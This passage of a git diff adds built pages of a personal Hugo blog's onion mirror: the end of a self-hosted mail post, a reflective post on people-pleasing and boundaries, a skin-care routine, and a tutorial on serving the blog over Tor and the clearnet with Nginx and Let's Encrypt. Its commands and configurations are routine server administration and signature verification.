    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/setting_boundries/index.html b/public-onion/posts/setting_boundries/index.html new file mode 100644 index 0000000..01fa428 --- /dev/null +++ b/public-onion/posts/setting_boundries/index.html @@ -0,0 +1,562 @@ + + + + + + + +Setting Boundries | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Setting Boundries +

    + +
    +

    I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?

    +

    Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words.

    +

    All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I’m broken. When people act cold with me, I assume they don’t like me. Then I want to fix things. Then I become annoying. I look like an “anxiously attached” person.

    +

    But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It’s sad, and it’s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.

    +

    So… I made a decision. To stay away from everyone. To make distance.

    +

    The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don’t want to lose. But it’s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?

    +

    The part I’m making mistake in is that everyone thinks something bad has happened. And they “probably” expect me to talk to them about it. Now this is the part I had to work on. The “setting boundry” part. I don’t know if I can do it respectfully or not. I know I will break if I talk.

    +

    I don’t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won’t regret any of these actions. I hope I can heal. I don’t know what will happen next, I just know that I don’t want to hangout in large groups for a while. I don’t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won’t turn into an incel. I know I won’t. I know I push through. I know…

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM
    +jSpGcg/+O/7gsSe5s82yq4fSOU0rrioTf3+LMkSl7ceo+gPJlW4CiGfkvYqQ2Gvo
    +7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2
    +HtL9BrHaU+kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/
    +v+mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm+3Gv
    +Dg5fX1vj9ZEtNMr1T+lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr
    +vyx4WJ2eeG+spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c
    ++O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj+bQV72LdqL6eszUFyeuhxHuMs0Q9s
    +EjrKVkFsHZaMuc1r2mcYRZG+BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ+sf
    +OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ
    +oCML5WEG+9/EIcEfSj+GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE
    +CIQBkMt8eJ7gUq+xQAg+BosLLMl1PgCQCOMml0omPyDv36vbnos=
    +=oJ5s
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/setting_boundries.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/setting_boundries.md.asc
    +gpg --verify setting_boundries.md.asc setting_boundries.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/skin_routine.asc b/public-onion/posts/skin_routine.asc new file mode 100644 index 0000000..637a3a9 --- /dev/null +++ b/public-onion/posts/skin_routine.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qeFwP/RiFuFOZKLFhrUZCc9t51Kb6 +oa6N/m/jdiRz7fnD9VyU93+iSKXB+pUXqR8cMP62orWs7yp6oJWK6zOAKRydswYY +eFo1g44bTmrhNPZ+rI1A7U/GAZ4qjnDyEy0EbkDPkBdybWBIwubdskDgvYb/fu01 +7BQIkHjtrDus1J93hLE6JVLb7HUC8z980rNRQ+IdgyDTt0EhqCIbqgE8+C/+k/Km +7Oi4Fbgtj8QzRX0hEBZv2aQjM+EVkusDty6XjEGvOJ9LDNo5vLYyFu0SGImNDTSl +fPnqThrU7XyIzL8Z4P6R2JKrE189BoPKmrCIDhRsONnuwnB5NjQcoRzh34fNEs5h +6uYXz4K9aZ1xIIbxr53jfgpxbWVhucolnyEHxn4BFfsCwfrWBId+otwsctvkuvVf +vxFilGDMqNXEIg4TC2h827y1yrgBIA8iQQE/Nj6du0z9NZkF/6V1jywzQ/69HP8S +Dkh3R75SoGNzkCEIJltKUZYm1CuZuUdVMX9vAKVJGnAyBdwlbj2MwxGkNkaFNRMu +DW4kFSL1ofgjU5iAIMr6L37YSDrQ9WhMYUMeScKQ/uJPq/W9P3ZQVcxkCiC0NK2a +6MIv9aNBobDksb5LwZRwBWCxyNu0JsnXinUWxpg/trcr/8Ekzf6Rpq89t1lghypX +pkjH8Z2Tnpb2mnWfv/7Q +=lUt/ +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/skin_routine/index.html b/public-onion/posts/skin_routine/index.html new file mode 100644 index 0000000..dbad636 --- /dev/null +++ b/public-onion/posts/skin_routine/index.html @@ -0,0 +1,607 @@ + + + + + + + +Skin routine | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Skin routine +

    +
    + My skin routine! +
    + +
    +

    I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

    +

    Generally speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

    +

    Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me.

    +

    So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

    +

    The next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here.

    +

    After this, I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but Paula’s choice one is definitely good. +The thing with it is that you don’t have to massage it; it’s not physical; it’s an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

    +

    I then apply my eye cream, which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

    +

    The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man, if you use oil-based products, you’ll get acne. +So don’t.

    +

    I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^

    +

    And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection.

    +

    Even if it does nothing, it still makes me feel good about myself.

    +

    The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W
    +hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED
    +HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb
    +JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi
    +2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC
    +veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9
    +48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi
    +8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF
    +MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b
    +suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX
    +1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA=
    +=dBAx
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md.asc
    +gpg --verify skin_routine.md.asc skin_routine.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/tor_clearnet_blog.asc b/public-onion/posts/tor_clearnet_blog.asc new file mode 100644 index 0000000..034995a --- /dev/null +++ b/public-onion/posts/tor_clearnet_blog.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qEycP/i2+eo0HI83v/HRkUACefGHL +0EkHQTMPSYAeff8l+cUr86zDXvAws6tfT2PNx0+ZGqG0kbjk81pgIXlKnYL7gzci +vTpasvLCoXjfEkFT2cco8wOBZ3RtzmWTzefTbxgVbtbu/j3/bOzoc0QbKDfPdgTM +0wvGq62chbyBMbVwn/sMdYauhYShCKjzyCNA8n4IKYW17fOi/m64f/QsGAJRT590 +OJ+eTb9RznJnAuRpwvvz8Lk6rqFN79udzHSmRSeShiSWKBa6yqUoJDBIEQ4iYNTy +eIvDNWsfoOXbYX6TubtA4u77B8pBdFx9eSIaeaANaSqyyM2FUV3p6tyzRAySLR0U +wHrQ4ZID46gHLY1S7+Avj72/J83UF3DajJ7rRWb2hkHpFAKhk9i0h02ykNeS41ZM +tRtSt+OqJwJuqxzo4bPHN054CDsydrHnUtckZx155T+oQW6YvUxWDY5/Yp/njnzz +UQuIpxUGt1Zxv499z4VnAusFKzFxoi7rq7IQRYZboo8ObHhQCI6XtvI3vtqN5NDx +2yjlkuK5RP2pyYAg6ha7Vcp3sxnRVwSSTBtFDjUeXteGpYj9EnNVuwR281z0EjT+ +yS+1sdIH3AkXJs550sAkRsaI3xLMQzAL8ApKSkkrEvTAxvgtzwmGojb8dlCztFPj +enzV9K/nDUbn9douKgCY +=gPUD +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/tor_clearnet_blog/index.html b/public-onion/posts/tor_clearnet_blog/index.html new file mode 100644 index 0000000..068471f --- /dev/null +++ b/public-onion/posts/tor_clearnet_blog/index.html @@ -0,0 +1,793 @@ + + + + + + + +Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +
    + +
    + +
    +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + +
    HiddenServiceDir /var/lib/tor/hidden_site/ +HiddenServicePort 80 127.0.0.1:3301
    + +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    + +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
